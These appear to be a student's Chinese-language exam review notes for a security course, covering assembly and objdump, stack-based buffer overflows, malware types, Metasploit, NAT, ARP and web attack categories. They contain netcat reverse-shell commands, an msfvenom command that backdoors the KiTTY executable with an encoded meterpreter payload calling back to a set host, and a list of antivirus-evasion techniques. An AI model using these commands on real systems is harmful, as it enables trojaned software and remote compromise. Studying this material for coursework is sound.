@Half-Bread
2020-06-07T23:56:43.000000Z
字数 6699
阅读 426
期末
object文件,里面包含的是机器指令
'''bash
反汇编(-d) xxx(可执行文件)
$objdump -d xxx
'''
反汇编出来的第一列内存地址,第二列是机器指令(存放在程序中的),第三列是机器指令对应的汇编语言,例:
000040050c<main>:
40050c: 55 push %rbp
课程中出现的objdump汇编指令(感觉和网上的顺序有区别):
指令 | 指令写法 | 作用 |
---|---|---|
push | push reg16(32)/seg/mem16(32)/imm | 将通用寄存器/段寄存器/内存数/立即数的值压入栈中 |
mov | mov source,target | 将源操作数soure的值复制到target中(怎么网上和课里不一样?) |
sub | sub ax(reg/mem) bx(reg/mem/imm) | bx=bx-ax,这是视频1-1中的 |
movl | mov+l(l代表32位的长字值) movl sor des | 将sor传给des 参考 |
add | add (reg/mem) reg/mem/imm | 将前面的操作数加到后面的操作数中 |
callq | 调用函数,修改IP或同时修改CS和IP | |
leave | 恢复调用者栈帧 | |
ret | 利用栈中的数据,修改IP |
add指令两个操作数必须类型匹配,且不能同时是内存操作数
mov不能直接操作EIP
几个有特定作用的寄存器:
名称 | 作业 |
---|---|
ax(accumulator) | 可用于存放函数返回值 |
bp(base pointer) | 用于存放执行中的函数对应的栈帧的栈底地址 |
sp(stack poinger) | 用于存放执行中的函数对应的栈帧的栈顶地址 |
ip(instruction pointer) | 指向当前执行指令的下一条指令 |
IP是指令寄存器,存放着当前指令的下一条指令的地址,EIP是32位机的指令寄存器
机器指令对应的编码规则,与硬件有关(依赖硬件)
例:(根据sss有三位,可以推出,这个CPU中最多有个段寄存器)
MOV SEG REG
100011d0 oosssmmm disp(sss可以代表段寄存器,mmm可以代表普通寄存器,不知道disp是什么)
8EDA
1000 1110 11011010
根据二进制去查硬件手册,可以翻译出是什么指令。
-
在栈中保存参数时,如一个函数有多个参数,如fuc(int a, int b),则先保存b(高地址)再保存a。
先保存参数,再保存返回地址。然后保存(压栈)上一个ebp,然后修改ebp寄存器的值(定义自己的栈帧)。
-
返回地址应该是被调用的语句的下一条语句。
main函数中调用子函数时,一般用call
指令,子函数中返回时常用到leave
。
缓冲区攻击攻击压栈的返回值,改为想执行的代码的地址。
call指令(e8(e8是call指令的机器码)+跳转地址 )、EIP寄存器、指令跳转的偏移计算(call后的值加到EIP上,改变EIP的值,指向需要执行的函数)、补码、objdump。进阶:ELF文件格式、动态技术。
lea -0x1c(%ebp), %eax,留了28个空间
BOF:小端优先。如1234,就是0x34333231。
Linux: nc -l (-p) 8888
Win: ncat.exe -e cmd.exe ip_of_linux 8888
Linux: nc ip_of_win 8888 -e /bin/sh
Win: ncat.exe -l (-p) 8888(选项里有-p时选有-p的)
Mac: nc -l 8888
Win: c:\your_nc_dir>ncat.exe -e cmd.exe ip_of_mac 8888
netcat使用1750端口号传输数据时发送方需要执行命令nc host.example.com 1750 < filename.in
,接收方需要执行命令nc -l 1750 > filename.out
root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
参数说明:
-p
使用的payload。平台/组件/连接方式。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e
使用的编码器,用于对shellcode变形,为了免杀。
-i
编码器的迭代次数。如上即使用该编码器编码5次。
-b
badchar,是payload中需要去除的字符。
LHOST
是反弹回连的IP
LPORT
是回连的端口
-f
生成文件的类型
>
输出到哪个文件
1.Meterpreter将后门程序的功能参数等信息集合在一个平台,其中最主要的是基础功能和扩展功能,编码模式能够修改机器指令对shellcode变形让杀毒软件无法识别。
2.后渗透攻击POST的功能有:信息抓取、信息搜集、侦察、提权、无线
3.当我们需要将当前进程号为4336的meterpreter HOOK到进程FindSymbian.exe(PID=5336)上使用的指令是: migrate 5336
改变特征码
如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译。
改变行为
在通讯方式上,可尽量使用反弹式连接,或使用隧道技术,并加密通讯数据;在操作模式上,基于内存操作,或减少对系统的修改,或加入混淆作用的正常功能代码。
非常规方式
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件。
1.杀毒软件的哪种功能可以专门针对修改特征码的免杀方法:启发式扫描、综合行为查杀、代码仿真运行
2.MD5是我们在日常学习生活中下载软件时最常使用的校验码,常用hash算法还有SHA1
,一般来说MD5值若与官方值不同,则软件一定被篡改/不完整
使计算机按照攻击者的意图运行以达到恶意目的的指令集合。
恶意代码分类:... 现在多为混合型。
病毒是一部分程序,附属在别的程序上。蠕虫是独立程序,自己运行
加壳、脱壳
壳的分类:压缩壳、加密壳、伪装壳、...
计算机病毒是一种能够自我复制的代码,通过将自身嵌入其他程序进行感染,而感染过程通常需要人工干预才能完成。
本质特性:感染性
其他特性:潜伏、可触发、破坏、衍生
定义特性:主动传播性
网络蠕虫传播机制
* 主动攻击网络服务漏洞
* 通过网络共享目录
* 通过邮件传播
自启动方式:
* Windows:自启动文件/文件夹;注册表自启动项;计划任务
* Linux/Unix:inittab, rc.d/init.d, 用户启动脚本,cron计划任务
定义: 看起来具有某个有用或善意目的,但实际掩盖着一些隐藏恶意功能的程序。
错误观点: 提供对受害计算机远程控制的任何程序,或受害计算机上的远程命令行解释器看做木马,他们应被视为后门。
如果将后门工具伪装成良性程序,才具备真正的木马功能。
僵尸程序(Bot)
来自于robot, 攻击者用于一对多控制目标主机的恶意代码
僵尸网络(BotNet)
攻击者出于恶意目的,传播僵尸程序控制大量主机,并通过一对多的命令与控制信道所组成的网络。
定义特性:一对多的命令与控制通道的使用。
用途:DDOS、发送垃圾邮件、窃取信息,等
类型:IRC、HTTP、P2P(类型也是连接、控制方式,其中P2P僵尸程序同时承担客户端和服务器的双重角色)
隐藏性恶意代码、修改操作系统软件,获取访问权并隐藏在计算机中
定义特性:隐藏性
也可被视为木马和后门(区别如下图)
分类:用户模式(恶意修改操作系统在用户模式下的程序/代码)、内核模式(恶意修改操作系统内核,隐藏的更深)
file,确定文件类型
strings,查看可打印字符串
objdump,反汇编
nm,在可执行文件中查找symbols重要数据
关于恶意代码,下面描述正确的是:
恶意代码分析方法有:
sysmon的日志可以在哪里查看:事件查看器
DNS的查询工具有:dig、nslookup
关于Encoder描述正确的有
exploit源代码的安装目录一般是:/usr/share/metasploit-framework/modules/exploits
Auxiliary module,辅助模块可以用来做什么:
MSF框架中包括有哪几种模块: auxiliary、nops、exploits
网络访问只能先由私网侧发起,公网无法主动访问私网主机。
静态手工配置,一对一映射,一个公网IP对应一个内网主机。
无需手工配置,但最终还是一对一映射,若公网IP不够仍会失败。
这种方式看博客上说是属于动态NAT,也叫端口地址转换(PAT),配置时既可动态也可静态(手工)
局域网共享一个公网IP接入lnternel。
向Internel发布内网服务器
主机正常情况下可能在什么时机发ARP应用包:启动的时候、收到ARP请求包的时候
集线器、交换机、路由器分别工作于物理层、数据链路层和网络层
集线器只负责电信号的中继(放大)
ARP:IP转MAC
MAC前3字节内容是:组织唯一标识,即厂家信息
XSS类型:DOM based XSS、Persistent or Stored XSS、Reflected XSS
SQL注入有哪些类型:字符串型注入和整型注入、普通注入和盲注入